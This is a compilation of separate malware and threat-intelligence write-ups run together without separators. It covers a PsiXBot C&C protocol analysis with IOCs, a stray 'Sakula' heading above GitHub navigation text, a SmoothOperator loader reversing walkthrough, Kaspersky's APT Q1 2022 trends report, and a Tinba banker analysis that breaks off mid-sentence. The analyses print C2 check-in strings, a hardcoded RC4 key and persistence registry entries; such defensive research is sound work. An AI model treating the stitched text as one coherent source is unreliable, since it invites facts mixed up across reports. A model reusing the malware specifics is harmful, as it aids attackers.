action=call&user_name=test&bot_id=B4DCF733C9C43D10C80120CF7760B564&av=N&os_major=Microsoft Windows 7 Ultimate &permissions=Admin&os_bit=64&cpu=Intel(R) Core(TM) i3-2100 CPU&gpu=NVIDIA GeForce 8800 Ultra 768&version=1.0.2&user_group=Admin ``` The bot_id in this sample is created by taking the MD5 hash of the following system details in this order: - CPU - User Name - GPU - Machine Name - OS Version - User Domain Name Based on previous analysis, it appears this version of PsiXBot chose not to include some system information it previously gathered, such as .NET version and HDD information. Upon successful C&C check-in, the server will reply with a JSON blob containing a “result_code”: ``` {result_code:[{"result_code":"200"}]} ``` As with the previously analyzed versions of PsiXBot, upon a successful check-in, the bot will then request subsequent commands by POSTing a request containing an action of “command” and its specific bot_id to the C&C server: ``` action=command&bot_id=B4DCF733C9C43D10C80120CF7760B564 ``` After receiving this data, the C&C server will return another JSON blob containing commands to be executed. Below is an example of this: ``` { result_code: [ { "result_code":"200" } ], commands: [{ "command_id":"def_1", "command_action":"StartSchedulerModule", "command_data":"", "command_arg":"" }, { "command_id":"def_2", "command_action":"StartFGModule", "command_data":"", "command_arg":"" }, { "command_id":"def_3", "command_action":"GetSteallerPasswords", "command_data":"", "command_arg":"" } ] } ``` Upon receiving this command list, the bot will then begin to execute the modules on the infected machine and report back the status of each. The features contained in 1.0.2 are as follows, with the new features identified in bold: - DownloadAndExecute - Execute - GetInstalledSoft - GetOutlook - GetSteallerCookies - GetSteallerPasswords - SelfDelete - StartComplexModule - StartCryptoModule - StartFGModule - StartKeylogger - StartNewComplexModule - StartSchedulerModule - StartSpam **New Module Analysis** **SelfDelete** The “SelfDelete” module runs a command using the cmd.exe shell in a hidden window to delete the running bot process and remove it from the infected system. **StartCryptoModule** The “StartCryptoModule,” assembly name “LESHI,” has a new module name (possibly to account for the various cryptocurrencies included), but appears to have the same functionality as the previously analyzed module. This module will monitor the clipboard for text matching a Bitcoin, Etherium, Monero, Ripple, or Litecoin wallet address, and if found, replace it with a self-configured wallet address. **StartFGModule** The “StartFGModule,” assembly name “omg228,” is a newly implemented “form grabbing” module. It appears rudimentary, as it is not targeting any traffic or domains specifically, such as banking or financial websites. This module will store GET or POST requests in a log file titled “temp.log” stored in the User’s %TEMP% directory. This log is subsequently sent to the C&C server. **StartSpam** The “StartSpam” module, assembly name “Spam,” is another newly implemented module which has the ability to send outbound email using Microsoft Outlook to send messages with varying content, crafted by the attacker based on command line switches provided: - Subject - Body - Name - Attachment The StartSpam module is configured to delete any outbound messages after sending. In addition to this, it will harvest any saved Outlook email signatures to be used inside any messages sent by this module. **Conclusion** PsiXBot continues to evolve with new ways of evading detection and new features to steal information. The .bit domains remain in use; however, it utilizes a new technique to retrieve the DNS servers required to connect. PsiXBot continues to operate as a bot with various stealer actions, but this new version expands its list of modules, which pushes the bot’s capabilities in new directions. Since PsiXBot first emerged in 2017, it has undergone several changes, making it a competent and relevant stealer. The changes observed here demonstrate that the author or group behind this malware is committed to evolving this malware to compete in the threat landscape. **Indicators of Compromise (IOCs)** | IOC | Description | Type | | --- | ----------- | ---- | | 185.228.233.135 | PsiXBot Command and Control | IP Address | | 185.159.129.37 | PsiXBot Command and Control | IP Address | | adm1.bit | PsiXBot Command and Control | Domain | | adm2.bit | PsiXBot Command and Control | Domain | | adm3.bit | PsiXBot Command and Control | Domain | | adm4.bit | PsiXBot Command and Control | Domain | | adm5.bit | PsiXBot Command and Control | Domain | | adm6.bit | PsiXBot Command and Control | Domain | | adm7.bit | PsiXBot Command and Control | Domain | | adm8.bit | PsiXBot Command and Control | Domain | | adm9.bit | PsiXBot Command and Control | Domain | | adm10.bit | PsiXBot Command and Control | Domain | | 185.228.234.204 | PsiXBot DNS Server | IP Address | | 5.182.39.23 | PsiXBot DNS Server | IP Address | **ET and ETPRO Suricata/Snort Signatures** - 2837663 - ETPRO TROJAN PsiXbot DNS Malformed Query - 2837653 - ETPRO TROJAN PsiXbot DNS Server Request M1 - 2837654 - ETPRO TROJAN PsiXbot DNS Server Request M2 - 2837655 - ETPRO TROJAN PsiXbot DNS Server Request M3 - 2837656 - ETPRO TROJAN PsiXbot DNS Server Request M4 - 2837657 - ETPRO TROJAN PsiXbot DNS Server Request M5 - 2837658 - ETPRO TROJAN PsiXbot DNS Server Request M6 - 2837659 - ETPRO TROJAN PsiXbot DNS Server Request M7 - 2837660 - ETPRO TROJAN PsiXbot DNS Server Request M8 - 2837661 - ETPRO TROJAN PsiXbot DNS Server Request M9 - 2837662 - ETPRO TROJAN PsiXbot DNS Server Request M10 - 2837726 - ETPRO TROJAN PsiXbot DNS Malformed Query - 2837734 - ETPRO TROJAN Win32/PsiXBot CnC Checkin - 2837903 - ETPRO TROJAN Observed Malicious SSL Cert (PsiXBot CnC) - 2837617 - ETPRO TROJAN Likely Hostile DNS Query for Hex Encoded IP Address as Domain - 2837616 - ETPRO POLICY OpenSSL Suspicious Demo Cert (CN=www.mydom.com) - 2017645 - ET CURRENT_EVENTS DNS Query Domain .bit
# Cyber-Defence Technical Notes: Sakula ## Product Features - Mobile - Actions - Codespaces - Packages - Security - Code review - Issues - Integrations - GitHub Sponsors - Customer stories ## Team ## Enterprise ## Explore - Explore GitHub - Learn and contribute - Topics - Collections
# SmoothOperator This analysis is focused on the SmoothOperator payloads from Sentinel One. They were obtained via vx-underground and comprise two DLLs. The first stage has the hash `bf939c9c261d27ee7bb92325cc588624fca75429`. ## First stage This DLL is a straightforward PE loader, with no obfuscation or encryption present. A good first step is looking for references to `VirtualProtect` - there are two. The first one looks promising, given the ERW flag being passed to it. Checking the function called afterwards (`__guard_dispatch_icall_fptr`) leads us to an offset, which in turn leads to `jmp rax`. This is probably a jump to unpacked code or the next stage. Let's circle back to the start of the function where those calls to `VirtualProtect` are and see what exactly we're marking as executable and then jumping to. This looks promising. A DLL named `d3dcompiler_47.dll` and a call to `CreateFileW`, followed by memory allocation of the same size as that file. Moving on, we'll see some obvious parsing of a PE file. Finally, we see a loop that starts looking for the sequence `0xFE 0xED 0xFA 0xCE` at the Security directory of `d3dcompiler_47.dll` and moves forward. If we can find that sequence of bytes in a DLL file, we probably have `d3dcompiler_47.dll` - it just so happens that sequence is present in the second DLL from Sentinel One, `20d554a80d759c50d6537dd7097fed84dd258b3e`. Going forward, there are several arithmetic operations followed by the aforementioned `VirtualProtect` and `jmp rax`. Instead of worrying about those, just pop the DLL into a debugger, rename `20d554a80d759c50d6537dd7097fed84dd258b3e` to `d3dcompiler_47.dll` and run until the `jmp rax`. First stage is done. ## Second stage A quick glance at the debugger following the `jmp` to `rax` shows we land at some shellcode at allocated memory. The dump window also shows the same memory region. One should be careful when dumping it though, since there's plenty of random data preceding the shellcode and `d3dcompiler_47.dll`; throwing it in Ida before getting rid of that data will make for an annoying time. On that note, even though Ida Home supports shellcode analysis, I decided to convert this stage to a PE file. The reason is twofold: first, it means I won't have to import local types manually; second, it means I can keep the dump as is, which is advantageous because we'll be able to follow direct references to the DLL that follows the shellcode. For that end, I do a simple hack with FASM: ```assembly include '..\..\fasmw17330\include\win64ax.inc' .code start: file 'stage2.bin' invoke ExitProcess, 0 .end start ``` The start of the shellcode features basic position independent code (`call $+5` followed by `pop rcx`), which is used to get the address of the start of the DLL read into memory by the first stage into `rcx`. Another displacement is applied to get a pointer to what appears to be a User-Agent string into `r8`: ``` 200 2400 "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36" ``` The next call is to a function that will be tasked with mapping `d3dcompiler_47.dll`. Although it's already in memory, it has not been mapped as an executable needs to be before it's able to run. Here's the start of it, after renaming and adjusting types for the arguments to match what was placed in the registers preceding the call. In another common practice with shellcode, API hashes are present. HashDB identifies the algorithm employed here as one used by Metasploit. If one decides to look into the `mw_import_by_hash` function, it's important to remember that this code deals with PEB64 and TEB64, structs that I couldn't find in Ida. I recommend this resource from BITE to create your own struct for both. Doing this will solve you a couple hours of confused cursing at the 32-bit structures. Next up, the actual mapping of the DLL into memory takes place. This is made evident by several snippets of code that parse PE Section Headers relevant to the mapping process. The one below checks to see if the PE being processed is indeed for a 64-bit architecture; other lines deal with the PE sections and the entry point address: A bit further down, memory is allocated to match the size of the DLL (according to the value in `IMAGE_NT_HEADERS64.OptionalHeader.SizeOfImage`): A very interesting sequence follows. It's responsible for resolving all imports of the third stage DLL by using `LoadLibraryA` and `GetProcAddress`. Taking note of which fields of the PE are being parsed and watching a few loops of it running will help you grasp how an import table is built when an executable is mapped. A lot more code follows this, mapping sections and using `VirtualProtect` to assign the correct protections to each one. We're almost done now! There's then a `call rbx` instruction that leads to a rabbit hole of shellcode functions. Unfortunately, what follows next is something no one likes to read in an analysis like this, but I have no idea what those do. My educated guess is some combination of anti-emulation/anti-sandbox, since there are multiple uses of the `cpuid` instruction in there and a test following that call will skip the jump to the next stage and instead just return. If anyone is curious, feel free to give it a look. After the return from the mysterious shellcode rabbit hole, we have only a few steps left. The code ensures it has mapped the DLL correctly by checking the size of its Data Directory and the exported functions (there is only one, `DllGetClassObject`); it then maps the address of said name to `r8`. Then the name of the export itself is checked by a simple ROR 13 ADD hash function, another callback to Metasploit: Finally, the arguments (remember those from ages ago?) are put back into the relevant registers and there is a jump to `r8`, which now holds the address of the exported function of the third stage DLL. Its command line arguments are the User-Agent string from earlier and the constant `0xAA` (thanks to the Sentinel One Report for pointing out that this constant is the size of the User-Agent string). **Important time-saving tip:** It's only as I wrap up this write-up that I realized there is no decryption of the third stage DLL done by the shellcode, only mapping and maybe some anti-emulation shenanigans. As such, one can really speed up their analysis by extracting the full stage 2 payload and getting rid of everything before the MZ header of the third stage DLL.
# APT Trends Report Q1 2022 ## Authors GReAT For five years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. These summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of. This is our latest installment, focusing on activities that we observed during Q1 2022. Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [email protected]. **Disclaimer:** When referring to APT groups as Russian-speaking, Chinese-speaking, or other "speaking" languages, we refer to various artifacts used by the groups (such as malware debugging strings, comments found in scripts, etc.) containing words in these languages, based on the information we obtained directly or which is otherwise publicly known and reported widely. The use of certain languages does not necessarily indicate a specific geographic relation but rather points to the languages that the developers behind these APT artifacts use. ## The Most Remarkable Findings On January 14, 70 Ukrainian websites were defaced: the attackers posted the message “be afraid and expect the worst.” The defacement message on the Ministry of Foreign Affairs website, written in Ukrainian, Russian, and Polish, suggested that personal data uploaded to the site had been destroyed. Subsequently, DDoS attacks hit several government websites. The following day, Microsoft reported that it had found destructive malware, dubbed WhisperGate, on the systems of government bodies and agencies that work closely with the Ukrainian government. We analyzed the associated samples and concluded that the deployed malware was not comparable in complexity or code similarity to malware leveraged in previous destruction campaigns such as NotPetya or BadRabbit; but was much more reminiscent of that typically used by cybercriminals. We also identified two samples developed in December 2021 containing test strings and preceding revisions of the ransom note observed in Microsoft’s shared samples. It remains unclear who is behind the attack, although Serhiy Demedyuk, deputy secretary of Ukraine’s National Security and Defense Council, stated that it was the work of UNC1151, a threat actor believed to be linked to Belarus. Throughout our investigation, we identified two samples developed in December 2021 containing test strings and earlier revisions of the ransom note observed in Microsoft’s shared samples. We concluded with high confidence that these samples were earlier iterations of the wiper reportedly used in Ukraine. Additionally, we suspect that the MBR wiper was initially developed at that time and repurposed more recently for the above campaign. This could have been done either by an advanced actor with the intention of conveying the false notion that the operation was being conducted by criminals or in cooperation with lower-tier threat actors who contributed their own resources. On January 26, CERT-UA published a report showing code similarity between WhisperKill (the file wiper used during the WhisperGate campaign) and WhiteBlackCrypt, a wiper used in the first quarter of 2021. While we were unable to obtain the same results by analyzing the CERT-UA samples, we subsequently identified a different WhiteBlackCrypt sample matching the WhisperKill architecture and sharing similar code. We also investigated the Bitcoin wallets used by both WhisperGate and WhiteBlackCrypt but were unable to uncover any link between the two. On February 23, ESET published a tweet announcing new wiper malware targeting Ukraine. The malware was more advanced than the samples identified earlier in the year that we documented in two of our private reports. This wiper, named HermeticWiper by the research community, abuses legitimate drivers from EaseUS Partition Master to corrupt the drivers of the compromised system. One of the identified samples was compiled on December 28, 2021, suggesting that this destructive campaign had been planned for months. At the time of publication, we had not identified any similarities between HermeticWiper and other known malware. The following day, Avast Threat Research announced the discovery of new Golang ransomware in Ukraine, which they dubbed HermeticRansom. This malware was found around the same time as HermeticWiper; and publicly available information from the security community indicated that it was used in recent cyberattacks in Ukraine. Due to its unsophisticated style and poor implementation, this new ransomware was probably only a smokescreen for the HermeticWiper attack. We named this malware Elections GoRansom. In late February 2022, we identified two archives submitted from network addresses in Ukraine to an online multi-scanner service. Both archives leveraged the name of the Security Service of Ukraine (SBU or СБУ) to trick targets into executing a Remote Access Tool (RAT). We were unable to determine the ultimate goal of deploying such RATs or associate the campaigns with any known threat actor, but the two archives appear linked together and may have been deployed by the same operators. Such threats pose a risk to Ukrainian organizations and their partners, as well as foreign organizations with premises in Ukraine. The RAT deployment campaigns look like they are targeted at developing access at scale in Ukraine, which could match activities from criminal groups that pledged allegiance to Russia and may enable further destructive activities. On March 1, ESET published a blog post related to wipers used in Ukraine and to the ongoing conflict: in addition to HermeticWiper, this post introduced IsaacWiper, used to target specific machines previously compromised with another remote administration tool named RemCom, commonly used by attackers for lateral movement within compromised networks. Contrary to reporting from other vendors, this wiper does not leverage the Isaac PRNG. On March 10, researchers from the Global Research and Analysis Team shared their insights into past and present cyberattacks in Ukraine. On March 22, the Ukraine CERT published a new alert about the DoubleZero wiper targeting the country. This is a new wiper, written in .NET, with no similarities to previously discovered wipers targeting Ukrainian entities. According to the CERT public statement, the campaign took place on March 17, when several targets in Ukraine received a ZIP archive with the filename “Вирус… крайне опасно!!!.zip” (translation: “Virus… extremely dangerous!!!.zip”). ## Russian-speaking Activity In December 2021, as a result of our continued monitoring of the activities of the DustSquad threat actor, we observed new infrastructure and tools being used alongside the already known Octopus Trojan. We had initially analyzed this Delphi malware in April 2018. Since then, the actor has continued to target diplomatic entities of several Central Asian countries; and, according to our telemetry, their consulates in APAC and the Middle East are also affected by recent campaigns. Octopus is only one of DustSquad’s tools, along with other Windows and Android malware such as Zaka, Akinak, and Harpoon. For Windows development, Delphi has been the group’s traditional programming language of choice. The actor maintains a two-layered communication scheme, with relays and real C2s, utilizing a JSON-formatted base64-encoded network communication protocol, via the use of a third-party IndyProject library. We have previously seen DustSquad use third-party post-exploitation tools, such as the password dumping utility fgdump; but we have now observed new custom C modules, a first for DustSquad, and Delphi downloaders acting as post-exploitation facilitators, able to gather documents of interest for the actor. Malicious Windows executables have also been compiled with GCC under the MinGW environment. ## Chinese-speaking Activity While hunting for malicious IIS modules, following our earlier reports about the mass exploitation of ProxyLogon and the Owowa module, we identified another backdoor module that has been widely deployed since at least June 2021. We named it BlackMoule, as we believe it is an update of BlackMould, a malicious tool that was briefly mentioned by Microsoft in late 2019 as part of GALLIUM activities against telecoms companies (aka Operation SoftCell). In May 2021, we reported on Websiic, a cluster of activities that formed a set of attacks against high-profile targets in Europe and Asia. The attackers used the infamous ProxyLogon exploit to compromise Exchange servers and deploy a China Chopper web shell, which was in turn used to start a sophisticated infection scheme leading to the execution of a new backdoor that we dubbed Samurai. The toolset includes several unique loaders and installers that had not previously been observed and can be used to load malicious payloads directly into memory, usually in the context of a legitimate process such as svchost.exe. We discovered continued activity involving multiple new loaders and installers, which were supposedly used to deploy different malicious payloads. We also observed that the malware was exclusively used against servers until August 2021; but starting from September, similar samples were also observed targeting desktop environments via messaging applications such as Telegram. Despite the discovery of weak ties to the FunnyDream cluster, we were unable to confidently attribute this new campaign to an existing group, so we dubbed the threat actor behind these attack clusters ToddyCat. At the end of January, the BfV (Federal Office for the Protection of the Constitution of Germany) issued a report detailing activity by the APT27 group (aka LuckyMouse) targeting German commercial companies. Their analysis outlines the usage of a common infection triad leveraged by the group, whereby a legitimate executable (mempeng.exe or vfhost.exe) side-loads a malicious DLL (vftrace.dll), which in turn invokes the execution of the HyperBro malware from position-independent code found within a third file (thumb.dat). By investigating this threat through the lens of Kaspersky’s telemetry, we found an identical intrusion set targeting an enterprise in Taiwan that deals with the manufacture of smart city technology, which may suggest an intent to steal intellectual property, possibly as a means of leveraging the same technology as an instrument of surveillance. Another victim in which the same chain was exhibited is a computer game manufacturer in Cambodia, where the attack could have been used for a different purpose, possibly to infiltrate the company’s supply chain. We determined that the attackers were able to spread across the network and remain active within it for months while making use of various tools. In addition to the infection chain outlined above, we found post-exploitation tools that were not mentioned by the BfV, including a custom-written keylogger and a publicly available SSH and SFTP credential stealer. Interestingly, we were able to observe the presence of a second malware loader on several hosts in the network that coincided with the deployment of the HyperBro implant. This loader leverages a fake Flash installer implanted with shellcode that is used to fetch a Cobalt Strike payload from a remote C2 server. At the time of writing, we can only assess with medium confidence that this tool is indeed associated with the group’s activity, indicating a possible sharing of initial access to the network with an external entity or usage of Cobalt Strike as an alternative to HyperBro in the case of unsuccessful deployment. ## Middle East While hunting for malicious modules for Microsoft IIS servers, we identified a poorly detected and widely deployed module that we call XTest. XTest is based on the publicly available IIS-Raid open source and was identified on hundreds of servers in late February, with 95 percent of them still being compromised at the time of our report. We were not able to determine the exact purpose XTest serves the threat actors, but we believe, with low confidence, that the module may have been deployed as part of malicious activities from the APT35 actor (aka Charming Kitten and Phosphorus). ## Southeast Asia and Korean Peninsula We reported recent, ongoing malicious activity that we attribute to the threat actor Sidecopy, targeting government staff in India. In addition to the known malware types deployed in past campaigns by this actor, such as MargulasRAT, we identified a cluster of activity targeting Linux and macOS platforms, including an unknown Golang-based Linux RAT that we attribute exclusively to this group. The supporting infrastructure for this operation overlaps with an operation described in a report published by Cisco Talos in September 2021, which discusses a campaign targeting government personnel in India using Netwire and Warzone (aka AveMaria RAT) dating back to the end of 2020. According to the authors, the decoys used in malicious documents and spread in the early stages of these operations resemble the one used by TransparentTribe (aka APT36 and Mythic Leopard) and Sidecopy. Our private report provides additional and updated indicators of compromise (IoCs) in the context of the same campaign and a description of some Linux and macOS malware that the group behind it has recently adopted. We identified three campaigns linked to the Konni threat actor, active since mid-2021, targeting Russian diplomatic entities. While the attackers used the same Konni RAT implant throughout the different campaigns, the infection vectors were different in each campaign: documents containing embedded macros, an installer masquerading as a COVID-19 registration application, and finally, a downloader with a new year screensaver decoy. We also identified post-exploitation tools exclusively used by Konni following a successful infection. These are capable of taking screenshots of the active window, deploying a keylogger, or listing the connected USB devices and their content. The tools align with the threat actor’s goal of stealing sensitive information from infected systems. We found overlaps in the infrastructure used by a tunneling tool used by the actor and several possible phishing websites set up within the above time frame. One of the registered domains shared similarities with another domain attributed to TA406 that, according to ProofPoint, incorporates the Konni APT. Monitoring APT10 activities, we discovered new variants of its tools being used against the same targets as in previous campaigns – Japanese government agencies and diplomatic entities. We have seen versions of the LODEINFO backdoor through v0.4.7, v0.4.8, v0.4.9, v0.5.6, and v0.5.8 from January to December 2021, while Lilim RAT received an update to v1.4.1 in June 2021. In 2020, we published private reports featuring LODEINFO, a sophisticated fileless malware first mentioned in a blog post from JPCERT/CC. In these reports, we mentioned new families of fileless malware known as DOWNJPIT and Lilim RAT, which replaced the existing tools of the trade. Further, we disclosed, with high confidence, that LODEINFO and its related activities were attributed to APT10, the infamous Chinese-speaking actor. Our latest report on this subject includes technical analysis of the new versions of LODEINFO and Lilim RAT and reviews updates to the malware. In particular, LODEINFO v0.5.6 and v0.5.8 introduced obfuscated backdoor command identifiers to slow down the reversing process. They also implemented the Vigenere cipher to evade detection by certain security products. We recently discovered a Trojanized DeFi application, compiled in November 2021. This application contains a legitimate program called DeFi Wallet, that saves and manages a cryptocurrency wallet, but also implants a malicious file when executed. This malware is a fully featured backdoor containing sufficient capabilities to control the compromised victim. After looking into the functionalities of this backdoor, we discovered numerous overlaps with other tools used by the Lazarus group. The malware operator exclusively used compromised web servers located in South Korea for this attack. To take over the servers, we worked closely with a local CERT and, as a result of this effort, we had the opportunity to investigate a Lazarus group C2 server. The threat actor configured this infrastructure with servers set up as multiple stages. The first stage is the source for the backdoor, while the purpose of the second stage server is to communicate with the implants. This represents a common scheme for Lazarus infrastructure. From the log files originating from the C2 servers, a number of infected hosts are visible. By only using IP addresses we weren’t able to confirm the exact victims of this campaign, given that some may belong to researchers, but they did reveal that this attack targeted entities and/or individuals at a global level. Since October 2021, the Sidewinder threat actor has been using new malicious JS code with recently created C2 server domains. The attack targets victims with spear-phishing emails containing malicious OOXML files. The OOXML files have an external reference to the attacker’s server and download an RTF document exploiting the CVE-2017-11882 vulnerability. The RTF documents have an embedded JS script in an OLE object that is dropped onto the victim’s machine. Sidewinder has been using this infection chain for over a year; we provided details of these modules and described further payloads in our previous report. Our last report, in November, showed that Sidewinder’s use of the obfuscated JS script has decreased in recent months. Closer investigation of the attacks performed in that period revealed dozens of detections of a new obfuscation technique used in their JS script, while the rest of the infection chain remained fairly consistent. The new attacks use the same infection chain, targeting other victims from their traditional victim profile as well as a number of victims in countries that were not traditionally of interest to SideWinder, such as Singapore. The timestamp of the detections and the registration of the servers used by Sidewinder in these attacks suggest that they started preparing the infrastructure and registering domains for their new wave of attacks in late September. In early October they updated their toolset with new JS obfuscation techniques, and while they continued the use of their old obfuscation routine for a while, they have slowly switched completely to the new one. We described the attacks using the new obfuscated JS scripts in our most recent private report. The attackers also used a new technique to reduce the suspicion raised by some of their spear-phishing documents that had no text content. They followed their first attempt to attack the victim – a spear-phishing email containing a malicious RTF exploit file – with another similar email, but in this case, the title of the malicious document was “_Apology Letter.docx,” and it contained some text explaining that the previous email was sent in error and that they are reaching out to apologize for that mistake. In January, a trusted source forwarded a suspicious email to us. This email is disguised as an invitation from the renowned PyeongChang Peace forum and contains a DropBox link in the email body. The fetched file from the DropBox link contains a malicious Windows shortcut file capable of downloading the next stage payload from the attacker’s server. Fortunately, we were able to acquire the samples from the remote server. We dubbed this malware Phontena; and our analysis revealed the entire infection chain of this attack, made up of multiple stages. From our telemetry, we discovered a full-featured backdoor that is probably the final payload of this infection. After analyzing the samples from the remote server, we recognized that the actor behind this attack was associated with information published by another vendor about a threat actor named APT-C-601 or APT-Q-122. Based on the malware sample we discovered, we assess that this group has many overlaps with the DarkHotel group. Malware used in previous DarkHotel activity, as well as the samples discovered as part of this research, has very similar C2 communication and internal mechanisms. Moreover, the malware author left Korean comments in one of the stager payloads. Two years after we first reported the activities of a threat actor we named FishingElephant, the group continues to target victims in Bangladesh and Pakistan. While we identified the use of a new keylogger by FishingElephant, it appears that the group still mainly relies on the same TTPs (such as payload and communication patterns) that were covered in our initial reports. ToddyCat, a relatively new APT actor, is responsible for multiple attacks detected since December 2020. In the first wave of attacks, dubbed Websiic, the attackers exploited a ProxyLogon vulnerability to compromise Exchange Servers of high-profile organizations in Europe and Asia. More recently, we detected a new set of attacks against desktop machines starting in September 2021, named Ninja by the attacker. This Trojan provides a large set of commands allowing the attackers to control target computers. Some capabilities we analyzed are similar to those provided in other notorious post-exploitation toolkits. ## Other Interesting Discoveries In December, we were made aware of a UEFI firmware-level compromise through logs from our firmware scanning technology. Further analysis showed that the attackers modified a single component within the firmware to append a payload to one of its sections and incorporate inline hooks within particular functions. These changes allowed the attackers to intercept the original flow of the firmware code and have it executed alongside a sophisticated infection chain. The introduced malicious flow, in turn, is in charge of persistently executing a malware stager from a Windows service once the operating system is running. By examining other IoCs from the same network, we gathered a trove of evidence that led us to assess, with medium-to-high confidence, that the threat actor involved is closely tied to the APT41 group. More specifically, we inspected communication of other nodes in the same network to infrastructure related to the server from which the payload is retrieved by the malicious stager. This traffic originated from an in-memory modular implant dubbed ScrambleCross, known to be in use by APT41 or a closely affiliated actor. Although we have covered several UEFI-based infections in APT reports in the last few months, those were cases operating through modifications introduced to the Windows boot loader image, which resides on the ESP partition on disk and can be remediated through a reinstallation of the operating system. In this case, however, the malware was found in an image typically based in the SPI flash, which is outside the hard disk and therefore withstands formatting or disk replacement. To the best of our knowledge, this is only the third known case found in the wild of a comparable UEFI implant, following LowJax and MosaicRegressor. While hunting for recent Deathstalker intrusions, we identified a new Janicab variant used in targeting legal entities in the Middle East during 2020, possibly active into early 2021 and potentially extending an extensive campaign that can be traced back to early 2015 targeting legal, financial, and travel organizations in the Middle East and Europe. Janicab was first introduced in 2013 as malware able to run on macOS and Windows operating systems. The Windows version has a VBS script-based implant as the final stage, instead of the C#/PowerShell combination observed previously in Powersing samples. The VBS-based implant samples we have identified to date have a range of version numbers, meaning it was, and still is, in development. Overall, Janicab shows the same functionalities as its counterpart malware families, but instead of downloading several tools later in the intrusion lifecycle, as the group used to do with EVILNUM and Powersing intrusions, the analyzed samples have most of the tools embedded and obfuscated within the dropper. Interestingly, the threat actor continues to use YouTube, Google+, and WordPress web services as Dead Drop Resolvers (DDRs). However, some of the YouTube links observed are unlisted and go back to 2015, indicating possible re-use of infrastructure. Law firms and financial institutions remain the sectors most affected by DeathStalker. However, in the intrusions we analyzed recently, we suspect that travel agencies are a new vertical that we haven’t previously seen this threat actor targeting. We recently identified additional malicious activities conducted by Tomiris operators since at least October 2021 against government, telecoms, and engineering organizations in Kyrgyzstan, Afghanistan, and Russia. In July 2021, we reported the previously unknown Tomiris Golang backdoor, deployed against government organizations within a CIS country through DNS hijacking. We exposed similarities between DarkHalo’s SunShuttle backdoor and the Tomiris implant. Later in 2021, we uncovered associated malicious activities that also used the open-source RATel implant to target several government organizations within Russia and Central Asia, while drawing an additional possible link between Tomiris operators and UNC1514. ## Final Thoughts While the TTPs of some threat actors remain consistent over time, relying heavily on social engineering as a means of gaining a foothold in a target organization or compromising an individual’s device, others refresh their toolsets and extend the scope of their activities. Our regular quarterly reviews are intended to highlight the key developments of APT groups. Here are the main trends that we’ve seen in Q1 2022: - Geopolitics has always been a key driver of APT developments; never more so than during a period of open warfare, as illustrated by the various cyberattacks related to the conflict in Ukraine. We have, of course, seen other activity centered around geopolitics, including the Konni and APT10 campaigns. - One of the trends we discussed in our 2021 APT review and predictions for 2022 was the further development of low-level implants. Moonbounce provides a striking example of this trend. As always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.
# Mini Analysis of the TinyBanker Tinba Written by Kimberly on Wednesday, 16 July 2014. Today we’ll have a look at Tinba (Tiny Banker), the smallest banker in the world. Without the use of a packer or crypter, Tinba is around 20 KB, default configuration and web injects included. A few days ago, the source code of Tinba 1 was released on a closed underground forum. Tinba uses MiTB (Man in The Browser) tricks and web injects to change the appearance of certain webpages. Objective: circumvent two-factor authentication and/or trick the victim into giving up additional sensitive data. Tinba uses RC4 encryption to communicate with its C&C servers. The key and the servers are hardcoded into the binary. Before downloading updates from the C&C server, Tinba sends out an RC4 encrypted string. I accidentally found this sample of Tinba because the author used the same crypter as ZeuS GameOver Reloaded. The sample was submitted to VirusTotal the same day as the new ZeuS GameOver and seems to be the payload of a spam email targeting mainly users from Poland and the Czech Republic. We can find back traces of the crypter in the memory space of Tinba: ``` 0x987041 (17): OU___Enemy %d 0x987053 (13): OU___Bomb %d ``` Along with the following strings: ``` 0x14562a8 (11): LoadBitmapA 0x14562d0 (13): IntersectRect 0x1456342 (18): CreateCompatibleDC 0x1456358 (22): CreateCompatibleBitmap 0x145637c (14): ImageList_Draw 0x145638e (19): ImageList_AddMasked ``` The executable is 88.0 KB (90,112 bytes) and contains an RCData resource with the ID 56. The size (9479176 bytes) is fake; it’s bigger than the size of the executable. This will cause a warning in Olly and makes it harder to extract the resource. The resource with the ID 56 contains a fake JPG header. JPEGsnoop, a free Windows application able to examine and decode the inner details of JPEG images, reports an unknown marker at the offset 0x000004B1 and notifies of existing data after EOF. Hiding an executable in a resource is a method to evade anti-virus detections. Upon execution, TINBA.EXE [PID 2724] launches an instance of itself [PID 3004]. Note the size of the executable: 20KB. After approximately 1 minute (I noticed the SLEEP command in the code but didn’t time it), TINBA.EXE will launch an instance of TASKMGR.EXE (Windows Task Manager), inject code into the newly created process, and exit. Before terminating its process, TINBA.EXE contained the following Section: ``` \BaseNamedObjects\redhot ``` The same Section is found back in the TASKMGR.EXE process. **TASKMGR.EXE:** - Reads the Volume Name and Serial Number - Creates a directory named "AdobeChk" in the %APPDATA% folder - Renames TINBA.exe to %APPDATA%\AdobeChk\chk.exe - c:\Documents and Settings\[User Name]\Application Data\AdobeChk\chk.exe - Date: 7/14/2014 4:36 PM - Size: 90,112 bytes - Creates the following Registry entry so that CHK.EXE runs each time Windows starts: - HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run - "AdobeChk" - Type: REG_SZ - Data: C:\Documents and Settings\[User Name]\Application Data\AdobeChk\chk.exe - Sets tabs and frames to run within the same process in IE: - HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main - "TabProcGrowth" - Type: REG_DWORD - Data: 01, 00, 00, 00 TASKMGR.EXE will establish a little routine in case the file or the Registry keys are deleted, but the procedure looks a bit flawed to me. The injected process attempts to create a folder that already exists (resulting in a name collision) and checks for a file called "empty" in the folder where TINBA.EXE was located. Tinba sends out an RC4 encrypted string to the C&C located at plsecdirect.ru and receives a 403 Forbidden. The decrypted string is EHLO. **Hardcoded User Agent:** ``` Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) ``` **RC4 key:** ``` wer8c7ygbw485ghw ``` **Hardcoded C&C:** - plsecdirect.ru - 91.237.198.54 - framesoutchk.ru - 91.237.198.54 **Targeted Browsers:** - iexplore.exe - firefox.exe - maxthon.exe - chrome.exe **Path to configuration and web injects:** ``` C:\Documents and Settings\[User Name]\Application 